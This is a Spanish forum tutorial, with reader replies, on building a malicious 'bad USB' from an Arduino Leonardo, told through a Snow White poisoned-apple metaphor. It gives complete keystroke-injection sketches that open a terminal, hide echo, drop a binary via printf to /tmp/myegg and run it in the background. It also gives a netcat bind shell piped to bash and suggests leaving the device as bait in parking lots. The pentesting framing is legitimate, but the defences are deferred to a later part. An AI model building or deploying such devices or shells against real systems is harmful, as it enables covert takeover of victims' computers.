Tutorial creación de bad USB mediante Arduino (Parte 1)

Prepare el mes pasado una entrada para BLOG que le envíe a Denisse para que la metiese en underc0de, pero como no recibo contestación (supongo que andará super liado) la meto por aquí. Asi está a disposición de todos y este mes si interesa meto la siguiente en la que desarrollo un modulo de metasploit que permite automatizar el proceso visto aquí, utilizando los payloads de la propia suite.

saludos.

Blancanieves y la manzana envenenada (Parte 1)

Introducción

Cuenta el cuento que Blancanieves mordió la manzana y se envenenó. Hasta que el príncipe azul no le dio un beso esta no despertó de su sueño y pudieron vivir felices. Algo parecido pasaba en las compañías hasta hace bien poco. Introducir un USB con un autorun permitía envenenar cualquier equipo, la bruja ofrecía un goloso USB o DVD con una belleza digna de la manzana del árbol del Eden. El título podía incluir desde un "listados del último ERE", "Próximos despidos" o algo tan banal y de baja catadura moral como un simple "Pr0N". Esto servía para que muchas víctimas mordiesen la manzana y quedasen dormidas a la espera su príncipe azul. Dicho príncipe normalmente hacía su aparición como persona del departamento de IT pero su beso permitirá volver a la vida y recuperar la dignidad e información perdida, al menos aquella que humanamente se pudiese y no hubiese pasado las fronteras del muro de Adriano. Medidas como inhabilitar el autorun por defecto fueron el elixir del que se contagiaron todos los sistemas. Esto permitió que ahora los equipos estuviesen mejor protegidos contra ataques previstos de esta manera y ahora había que tentar a la suerte dejando alguna manzana en forma de archivo ejecutable que el usuario y su curiosidad de felino le hiciesen abrir las puertas al gran caballo. Normalmente la vía es un exe escondido como un pdf o tener que utilizar un fallo de ejecución de código del visor de documentos del que disponía la empresa. Para el atacante muchas veces era un poco caminar a ciegas las versiones de los programas que disponía la empresa y esperar con cierta fe en sus dotes malignas de engaño que el usuario aparte de conectar el USB eligiese el archivo y lo abriese con una versión explotable de un visor de documentos. Del lado del castillo, la mayoría de los usuarios se sienten seguros cuando insertan un USB y simplemente lo formatean para utilizarlo. De hecho la mayor parte de la gente algo concienciada con la seguridad no suele privarse de la oportunidad de obtener unos megas adicionales de almacenamiento gratis a cambio de insertar el USB para simplemente darle formato nuevo o borrar los archivos que este contiene. Todo es completamente limpio, nítido y estéril. El usuario habituado a que nada se ejecute de forma automática cuando solamente introduce el dispositivos de almacenamiento, ha dejado , de alguna forma, de ser todo lo precavido que debiera al menos en dicha dirección. Este usuario avispado, se permite el lujo de poder conectar lo que desee porque sabe de sobra que el sistema operativo no permitirá que se autoejecute nada. Además, no va a caer en ejecutar o ver nada de dicho USB, simplemente lo formateará para poder utilizarlo para unos fines más nobles que los que tenía la malvada bruja que dejo a posta olvidado esa manzana en el parking o el baño.

Cambio de vista para un nuevo ataque

En el 2014 después de beber del elixir presentado por Adrian Crenshaw en el trabajo titulado "Programmable HID USB Keystroke Dongle: Using the Teensy as a Pen Testing Device" de la defcon 18, y tras un pequeño cambio de filosofía en la vía de acción apareció Psychson. La idea original se basaba en que el USB que introducías no era un si no un teclado que mediante una combinación de teclas permita ejecutar una serie de órdenes sin necesidad de consentimiento del usuario. De esta forma volvemos a hacer que para que Blancanieves muerda la manzana baste solo con conectar el dispositivo al ordenador. Psychson es la receta del veneno basado en esa idea utilizando los pendrives con un modelo específico (en concreto aquellos que tengan el chip 8K eD3 NAND flash). Mediante su código, puedes reprogramar un pendrive con dicho chip de manera que a partir de ese momento el pendrive será un teclado. Bajo esa misma linea trabajaremos nosotros para aprender a hacer una manzana similar. Al final el concepto es muy sencillo, al conectar el pendrive estaremos en realidad conectando un teclado que enviará unas instrucciones preprogramadas que se teclearán en el ordenador. Todo lo que podamos hacer desde teclado, se podrá hacer a través de este dispositivo. Además, todos los comandos serán ejecutados con los privilegios del usuario que conecte el pendrive en su ordenador sin necesidad de hacer fuerza bruta o tener que obtener su password por otros medios. Como se ve, es un método ideal y fácil para cualquiera que desee envenenar nuestro sistema, así que aprenderemos de él para poder testear nuestras empresas con idea de poder crear, identificar y evitar caer en manos de la malvada bruja.

El maravilloso mundo de los dispositivos democráticos

En el mundo de fantasía empezaron a proliferar hace bastante tiempo dispositivos programables a muy buen precio. El hecho de que apareciesen en forma de hardware libre hizo que dichos dispositivos se replicasen de forma masiva y desarrollados por multitud de compañías pudiendo ofrecer precios al alcance de cualquiera. Por unas pocas monedas de oro cualquiera podía obtenerlos, y en concreto nosotros nos fijaremos en el conocido como Arduino. El reducido precio, tamaño y facilidad de uso hace que se pueda encontrar en cualquier taberna así que es el dispositivo que utilizaremos para generar una manzana envenenada. Cabe resaltar que, de entre los sabores en los que encotraremos, nosotros utilizaremos el modelo Leonardo (dispone el chip ATmega32u4). Realmente se puede utilizar cualquier otro modelo mientras pasemos por un cambio de firmware o montemos un circuito en los pinouts de nuestro arduino mediante la libreria vusb (más información en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta). En pos de la simplicidad ,ya que ahora mismo somos solo aprendices de artes mágicas, utilizaremos un Arduino Leonardo dado que se puede utilizar directamente la librería keyboard incluida en el propio entorno. Existen dos modelos oficiales de Arduino Leonardo, el normal y el micro. Este último ofrece un tamaño de 3.5 cm x 1.8 cm x 0.5 cm ideal para empaquetar en pequeñas cajas y que parezcan una manzana apetecible para los incautos.

Empezando a crear nuestra pequeña manzana envenenada

El primer paso deberá ser obtener el IDE de Arduino (Para hacer magia debemos usar el papiro adecuado), que se puede descargar de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Se recomienda descargar el software aunque el IDE séa descargable a través de los repositorios de las distribuciones de Linux. Esta recomendación viene de que normalmente el IDE contenido en los repositorios suele ser notablemente más viejo que los que se encuentran en la página oficial (Es conocido que los papiros viejos tienden a desmenuzarse y quedar inservibles). Tras la descarga, simplemente deberemos descomprimir el empaquetado y ya podremos empezar a funcionar con el IDE para implementar los conjuros y venenos que deseemos sobre la placa de Arduino.
Hay que dar un pequeño paso justo antes de ejecutar el IDE por primera vez. Deberemos de incluir a nuestro usuario en el grupo dialout para tener permisos y poder programar la placa. Para actualizar que el usuario séa parte de dicho grupo, hay que volver a logear con el usuario.
Para arrancar el programa simplemente caminaremos al directorio donde hemos descomprimido el programa y ejecutaremos el comando arduino.
Se puede observar que el programa sólo tiene una sencilla pantalla en la que se puede escribir el código. Para subir un programa a la placa simplemente hay que pulsar el botón con la flecha señalando a la derecha, el segundo botón, y con eso se compilará el código y se subirá a la placa. Antes de subir la placa hay que elegir la placa que vamos a utilizar desde el menú Tools->Board donde seleccionaremos la opción Leonardo. Se deberá seleccionar también el device utilizado para usar la placa, con lo que en el menú Tools->Port seleccionaremos /dev/ttyACM0 (Deberemos tener en cuenta que el último número puede cambiar según los pequeños gnomos que rigen el kernel decidan bautizar al programador).
Un programa muy utilizado para certificar que todo funciona correctamente es el siguiente:

void setup() {
	pinMode(LED_BUILTIN, OUTPUT);
}

void loop() {
	digitalWrite(LED_BUILTIN, HIGH);
	delay(3000);
	digitalWrite(LED_BUILTIN, LOW);
	delay(3000);
}

Con este pequeño programa debemos de ver el led que viene integrado en la placa que se enciende y se apaga cada 3 segundos. Si tras subir el programa a la placa se visualiza este funcionamiento podremos decir al viento "y se hizo la luz". Esto significará que ya tenemos todos los ingredientes necesarios para realizar nuestra pequeña manzana envenenada.

Nuestro primer hechizo

El tipo de programas que vamos a hacer es muy sencillo. la base a utilizar en nuestro recetario de venenos será siempre la siguiente:

#include "Keyboard.h"

void setup() {

}

void loop(){

}

Deberemos incluir siempre la librería keyboard que es la que permite utilizar las funciones que configuran el Arduino como si fuese un teclado. Y para nuestra primera manzana envenenada simplemente lo que haremos es hacer que mágicamente se escriba una frase en la pantalla. Para ello deberemos llamar a la función que pone el Arduino en modo teclado Keyboard.begin(), después escribir algo en pantalla mediante la función Keyboard.print() y volver a dejar al Arduino como un mero Arduino de nuevo mediante la orden keyboard.end(). La función print tiene como prámetro de entrada un string que se corresponde con lo que se desea escribir mediante el teclado. Deberemos tener en cuenta que desde que ponemos el Arduino como teclado hasta que el ordenador lo detecta como teclado pasa cierto tiempo, con lo que es bueno que dejemos un tiempo de espera en el Arduino. Así que cuando el Arduino empiece a introducir pulsaciones de teclado el ordenador ya se habrá enterado de que tiene un teclado conectado a él. Para ello utilizaremos la función delay() que tiene como parámetro el número de milisegundos que se desea esperar.
La estructura de programa típica de los programas Arduino tiene una función de setup y una función de loop. La función de loop está todo el rato repitiendose, cómo vamos a jugar con el Arduino como si fuese teclado, nosotros pondremos el código en la parte de setup para que se ejecute una vez y termine el programa. O al menos la parte del programa que se encarga de teclear los comandos. El programa final quedará de esta forma:

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(5000);
  Keyboard.print("El veloz murcielago hindu...");
  Keyboard.end();  
}

void loop(){

}

En cuanto subamos el programa aparecerá en la pantalla escrita la frase que hemos puesto dentro del print. Como estamos en la ventana del IDE de arduino, será ahí donde se escriba la frase como si fuésemos nosotros los que la hubiésemos escrito desde teclado. Cada vez que desconectamos y volvemos a conectar la placa Arduino en el equipo la frase se volverá a escribir en nuestra pantalla. El único problema es que dependemos de que el usuario esté utilizando una aplicación en la que tenga sentido teclear lo que nosotros estamos introduciendo vía teclado de forma automática. Si estamos en un editor de texto la frase se podrá visualizar, si estamos en un editor de dibujo o en el mismo escritorio, dichas pulsaciones de teclado no realizarán ninguna acción (Al menos las que hemos puesto para este ejemplo). Con esto hemos aprendido un poco lo más básico de como pasar algo por teclado utilizando la placa.

Conjuros de nivel básico

Siguiendo la misma dinámica, se pueden hacer recetas de automatización de comandos para que cuando tengamos abierta una terminal en Linux, se ejecuten determinados comandos uno detrás de otro. Si vamos agregando lineas a la orden keyboard.print() con órdenes de la terminal de Linux terminadas con el caracter de intro \n conseguiremos que se ejecuten los comandos que hemos preparado de forma automática. Por ejemplo, si deseamos automatizar un proceso que realiza un cat de un archivo específico, después bajarte una pagina web de una IP especifica y hacer un cat de esta pondríamos las siguientes lineas en el programa Arduino:

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(5000);
  Keyboard.print("cat archivo.txt\n");
  Keyboard.print("wget 127.0.0.1\n");
  Keyboard.print("cat index.html\n");
  Keyboard.end(); 
}

void loop(){

}

Al subir el programa se introducirá por teclado los comandos que estamos especificando. Se podrá probar el programa conectando el Arduino tras haber dejado abierta una terminal. Se podrá observar como los comandos se van ejecutando secuencialmente tal y como lo habíamos preparado. Con esto, ya estamos casi a disposición de poder hacer autentica magia utilizando nuestro pendrive falso. Podríamos bajar cualquier ejecutable de una dirección de Internet que se le pueda indicar al ordenador y una vez bajado el archivo ejecutarlo. En la dirección de Internet se puede introducir cualquier archivo que se desee, por ejemplo un archivo de control remoto que al ejecutarlo nos devuelva una shell en el ordenador donde se ha introducido el pendrive.

Una forma sencilla de envenenar nuestra manzana podría ser por ejemplo ejecutar un nc para tener el control de comandos en el pc remoto. Por ejemplo el siguiente comando:

nc -l 6565 | bash

Permite que si nos conectamos desde un ordenador remoto al puerto 6565 podamos mandar instrucciones que se terminarán por ejecutar en el ordenador en el que hayamos tecleado dicho comando. Se puede hacer una prueba sencilla simplemente escribiendo dicho comando en un ordenador y se observará que nos conectamos al puerto y en la consola aparece la salida de lo que estamos ejecutando. Resumiendo, mayormente si ejecutamos en otro ordenador:

nc DIRECCION_IP 6565

A partir de ahí podremos escribir comandos que se procesarán en el ordenador donde habíamos ejecutado el primer comando. La salida por pantalla de estos se verá en este último equipo.

Bien, pero también queremos poder ver desde el ordenador remoto la salida del comando. No tiene demasiado sentido que lo que mando hacer a otros aparezca en la terminal del ordenador del otro. ¿no?. Pues bien, utilizaremos un doble conjuro para hacer que la salida de este comando sea la entrada de otro nc en el puerto siguiente. Con eso podremos fácilmente conectarnos a los dos puertos y enviar comandos por una pantalla y recibirlos por otra. Para hacer que la salida del primer comando vaya a otro comando que abra otro puerto al que nos podamos conectar para ver dicha salida, simplemente modificaremos un poco más el primer comando escribiendo esto en una terminal:

nc -l 6566 < <(nc -l 6565 | bash)

Con lo que para controlar el ordenador donde hemos ejecutado ese pequeño comando tendremos que conectarnos a su puerto 6565 para mandar comandos y al 6566 para recibir la salida de dichos comandos. Se puede probar abriendo tres terminales en un ordenador, ejecutando el comando anterior en una de ellas y ejecutando una conexión a los puertos 6565 y 6566 en cada una de las restantes.

De modo que en la terminal 1 se ejecutará esto:

nc -l 6566 < <(nc -l 6565 | bash)

En la terminal 2 esto:

nc 127.0.0.1 6565

Y en la terminal 3 esto:

nc 127.0.0.1 6566

y ya se podrán enviar comandos en la terminal 2, por ejemplo un ls o un cat /etc/passwd para poder visualizar lo que devuelven en la máquina remota (en este caso particular es la misma) por la terminal 3.

Teniendo claro todo esto, se puede observar como con una simple linea de comando se puede tener el control remoto de un ordenador. Con lo que queda claro lo que deberíamos de poner en nuestro programa de Arduino para conformar nuestra malvada manzana envenenada.

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(5000);
  Keyboard.print("nc -l 6566 < <(nc -l 6565 | bash)\n");
  Keyboard.end(); 
}

void loop(){

}

Pero nos llevaremos una amarga sorpresa al subir el programa a la placa. El resultado del tecleo es completamente erróneo, la salida de teclado (a no ser que tengamos configurado el teclado como americano) nos devolverá algunos caracteres cambiados que estropean todo nuestro maligno plan.

Bien, pues antes de escribir nada ejecutaremos el comando que dice al Linux que su teclado es americano para ejecutar las lineas de nuestro programa y otra vez devolver al teclado su configuración original. Eso supone simplemente un comando antes del conjuro y otro después. En mi caso, el teclado esta en español, luego cambiare el modo de teclado a estados unidos, ejecutaré las pulsaciones de teclado que deseo para después devolver (de forma manual, no lo he incluido en el script) otra vez a Español. El programa apenas cambia y tendría el siguiente formato:

#include "Keyboard.h"

void setup() {
	Keyboard.begin();
	delay(5000);
	Keyboard.print("setxkbmap us\n");
	delay(500);
	Keyboard.print("nc -l 6566 < <(nc -l 6565 | bash)\n");
	Keyboard.end(); 
}

void loop(){

}

Ahora si que podremos conectar nuestro Arduino con la terminal abierta y podremos ver el resultado cuando alguien muerda nuestra pequeña manzana envenenada. Se puede observar que he incluido un pequeño delay de medio segundo entre el comando del cambio de formato de teclado y la ejecución. Simplemente es por precaución, no vaya a ser que el Arduino teclee el comando antes de que el sistema ejecute el cambio de teclado. Entiendo que si eso llegara a pasar, podríamos tener que el buffer de entrada de teclado podría haber incorporado previamente teclas en formato erroneo, y eso no es algo deseable. No obstante, probablemente el programa funcione sin eso en la mayoría de equipos.

Como se vé, el limite reside en la utilización de nuestra imaginación para proponer comandos imaginativos que permitan hacer lo que deseemos con las combinaciones pertinentes, aunque quedan algunas cosas que aun podemos mejorar. Tened en cuenta que ahora mismo estaríamos en condiciones de bajar cualquier archivo de una web determinada donde hemos dejado un binario de control y ejecutarlo en la máquina que ha mordido nuestra manzana.

Conjuros de nivel avanzado

Como último colofón a este pequeño libro sobre envenenamiento de manzanas especialmente ideado para brujas y hechiceros, intentaremos incorporar a nuestra manzana un binario más o menos complicado. La intención final es que se ejecute sin necesidad de que lo tengamos que bajar de un sitio remoto. Una idea que podemos seguir es la de hacer un archivo mediante el comando printf. Mediante el modificador \x en un printf se le puede pasar dos números en hexadecimal que imprimirán por pantalla el byte al que representan. Si eso en lugar de pasarlo por pantalla se redirecciona (mediante >) a un archivo, obtendremos la salida en un archivo. Y si los bytes que introducimos en dicho archivo se corresponde con los de un archivo binario, entonces el archivo resultante, obviamente, será dicho archivo binario. Solo deberemos de obtener los bytes necesarios para meter dentro del comando printf que se ejecutará en la terminal gracias a la función keyboard.print que es la que funciona como teclado en el Arduino. Por lo que el programa que subiremos al arduino tendrá el siguiente formato:

#include "Keyboard.h"

void setup() {
	Keyboard.begin();
	delay(5000);
	Keyboard.print("setxkbmap us\n");
	delay(500);
	Keyboard.print("printf \"\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg;\n");
	Keyboard.end(); 
}

void loop(){

}

Los códigos exactos del binario se deberán introducir dentro de las comillas precedidas por las contrabarras (\"\"). Asi que solo debemos obtener cada uno de los caracteres del binario a ejecutar precedidos de una contrabarra y una x para pegarlo en nuestro código de Arduino. Como tomar un editor de hexadecimal y hacerlo a mano puede ser un trabajo bastante tedioso, podemos hacer uso de awk y hexdump para automatizarlo. Hexdump nos muestra los bytes del archivo especificado en hexadecimal, se deberá ejecutar con el argumento -v para que no se coma los bytes que se repitan dentro del archivo. De manera que el siguiente comando:

hexdump -v binario

Nos devolverá las direcciones y contenido de los bytes del archivo. Como nosotros solo queremos los bytes en hexadecimal deberemos concatenar la salida de este con un awk para quedarnos con las 8 palabras de datos que nos interesan. El comando completo sería el siguiente:

hexdump -v binario | awk '{print $2; print $3;print $4;print $5;print $6;print $7;print $8;print $9;}'

Como se puede observar awk lee cada una de las lineas y saca por pantalla en diferentes lineas las palabras de la 2 a la 9. Son las que se corresponden con los bytes del archivo en memoria. Ahora deberemos separar dichas palabras a tamaño byte, fijaros que la salida devuelve 4 números hexadecimales y no solo 2. Así que de nuevo usaremos awk para separar dichos números en grupos de dos. Aparte, a cada grupo de dos se le dará la vuelta por temas de cómo representa los bytes los ordenadores a nivel interno (Mayormente a nosotros nos gusta leerlos en orden correcto pero a los ordenadores les viene mejor tenerlos al revés) y se les añadirá la \ y la x antes de cada número para obtener la salida correcta que debemos meter en el printf. Resumiendo todo esto, añadiremos una parte más al comando de antes que quedará con la siguiente forma:

hexdump -v lalala | awk '{print $2; print $3;print $4;print $5;print $6;print $7;print $8;print $9;}' | awk '{if($1 != ""){printf "\\\\x"substr($1,3,2)"\\\\x"substr($1,1,2)}}'

La salida del comando serán todos los bytes del fichero binario dispuestos para ser impresos en un archivo que después pueda ser ejecutado. Por ese motivo en el comando que se ejecuta en el Arduino hemos puesto una redirección a un archivo que se llama /tmp/myegg que será el archivo destino en el ordenador que introduzca nuestro pendrive. Al que después se le da el flag de ejecutable mediante la orden chmod y por último simplemente lo ejecutamos.

Se deberá tener en cuenta el tamaño máximo de archivos que permite la memoria del arduino que esta situado en 32KB, asi que solo caben binarios o ejecutables relativamente pequeños (Ojito con que payload se meten).

Como ejemplo y por temas de espacio utilizaremos un script en bash muy sencillo, pero se puede utilizar en cualquier binario. Tras ejecutar el comando especificado para el siguiente ejecutable escrito en bash:

echo "hola mundo"

Obtenemos el siguiente resultado:

\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a

Con lo que el resultado final del programa para subir al Arduino será el siguiente:

#include "Keyboard.h"

void setup() {
        Keyboard.begin();
        delay(5000);
        Keyboard.print("setxkbmap us\n");
        delay(500);
        Keyboard.print("printf \"\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg;\n");
        Keyboard.end();
}

void loop(){

}

Ahora mismo ya somos capaces de, como la bruja de blancanieves, hacer unas manzanas bastante suculentas. Pero quedan dos pequeños flecos para que la manzana sea roja y bella del todo al estilo de la manzana de Adan. Lo primero, que hasta ahora debíamos abrir la consola de comandos a mano para que los comandos que se escriben en el Arduino se ejecutasen. Para ello utilizaremos el atajo de teclado control + alt + t que permite abrir una terminal en la mayoría de distribuciones de Linux. Para ello se puede utilizar las funciones No tienes permitido ver los links. Registrarse o Entrar a mi cuenta() y Keyboard.releaseAll(). La primera de ellas tendrá como entrada el código de tecla que deseemos pulsar, la segunda no tiene ningun argumento de entrada. Así que antes de imprimir las lineas que deseamos ejecutar forzaremos a que el Arduino envíe el atajo de teclado de abrir una terminal. El cambio al anterior programa es mínimo:

#include "Keyboard.h"

void setup() {
        Keyboard.begin();
        delay(5000);
	Keyboard.press(KEY_LEFT_CTRL);
	Keyboard.press(KEY_LEFT_ALT);
	Keyboard.press('t');
	delay(500);
	Keyboard.releaseAll();
	delay(1000);
        Keyboard.print("setxkbmap us\n");
        delay(500);
        Keyboard.print("printf \"\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg;\n");
        Keyboard.end();
}

void loop(){

}

Ahora ya todo el código se ejecutará en la terminal que se abre tras conectar el pendrive. Por último a modo de colofón final, añadiremos al programa las instrucciones que permiten eliminar el echo local para que no se visualicen en la terminal lo que está ejecutando el programa y se realizará un exit al final de la ejecución para que se cierre la ventana. Como es obvio, la idea final es ejecutar el comando en segundo plano por lo que se añadira un & cuando se ejecuta el comando myegg con la intención de que se quede en segundo plano ejecutándose (Si por ejemplo nuestra intención es ejecutar un servidor). Con el programa que se ha propuesto de ejemplo, carecería de sentido hacerlo porque no es un servidor que se quede a la escucha. No obstante, la utilidad de que quede en segundo plano de ejecución creo que resulta bastante obvia. Al final el código que generaremos será el siguiente:

#include "Keyboard.h"

void setup() {
        Keyboard.begin();
        delay(5000);
        Keyboard.press(KEY_LEFT_CTRL);
        Keyboard.press(KEY_LEFT_ALT);
        Keyboard.press('t');
        delay(500);
        Keyboard.releaseAll();
        delay(1000);
        Keyboard.print("setxkbmap us\n");
	delay(500);
	Keyboard.print("stty -echo; clear;\n");
        delay(500);
        Keyboard.print("printf \"\\x65\\x63\\x68\\x6f\\x20\\x22\\x68\\x6f\\x6c\\x61\\x20\\x6d\\x75\\x6e\\x64\\x6f\\x22\\x0a\" > /tmp/myegg; chmod +x /tmp/myegg; /tmp/myegg & exit;\n");
        Keyboard.end();
}

void loop(){

}

Despedida y cierre

Y por el momento esto es todo. En la siguiente entrega se realizará un modulo de metasploit que permitirá automatizar la realización de estas manzanas envenenadas para utilizarlas en pentesting. La idea es aprender a hacer módulos de metasploit simples a la vez que integramos un módulo que automatice la generación de programas en Arduino que incorporen un payload genérico de matasploit que se pueda seleccionar mediante dicha suite. Mayormente, que podamos programar de forma fácil los Arduinos desde la misma suite de Metasploit y podamos utilizar el equipo en el que se ha introducido el Arduino mediante un handler genérico de la misma herramienta. También se verá como parte final, y a mi punto de vista una de las partes mas relevantes, que medidas de protección podemos utilizar para evitar este tipo de ataques y como automatizarlas.

Permaneced atentos y hasta la próxima gudaris de la tecnología.

Tremendo aporte bro! Ahora ya se que uso darle a mi Arduino que lleva tiempo tirado.
Te dejo +Karma!

Saludos,
ANTRAX

Muy buen aporte.

Hace unos dias que tengo un arduino uno, asi que a utilizarlo.

 
    @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Estupendo aporte!
No soy fans de Arduino, pero leer tu post, ameno y didáctico, claro y bien expresado, resulta toda una experiencia de aprendizaje.
Un placer de lectura, felicitaciones!!

Aguardo tus próximos post.

Gabriela

Una disculpa nuevamente (asuntos familiares) @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lo hice por mp, justo es el.apprte que le había comentado a @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ahora lo paso No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ... Y claro es un excelente aporte que va para el blog ... Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta esperamos que nos sigas enviando tus aportes...

Bonito día a todos

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, leí todo el artículo; único en su clase.

Solo felicitarte por el trabajo que has hecho con el artículo y como lo has sabido llevar desde un ámbito Informático agregando pequeñas sutilezas en la hechiceria.


El artículo lo llevamos al blog con tus creditos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Felicitaciones y sigue asi: "El hechicero Animanegra"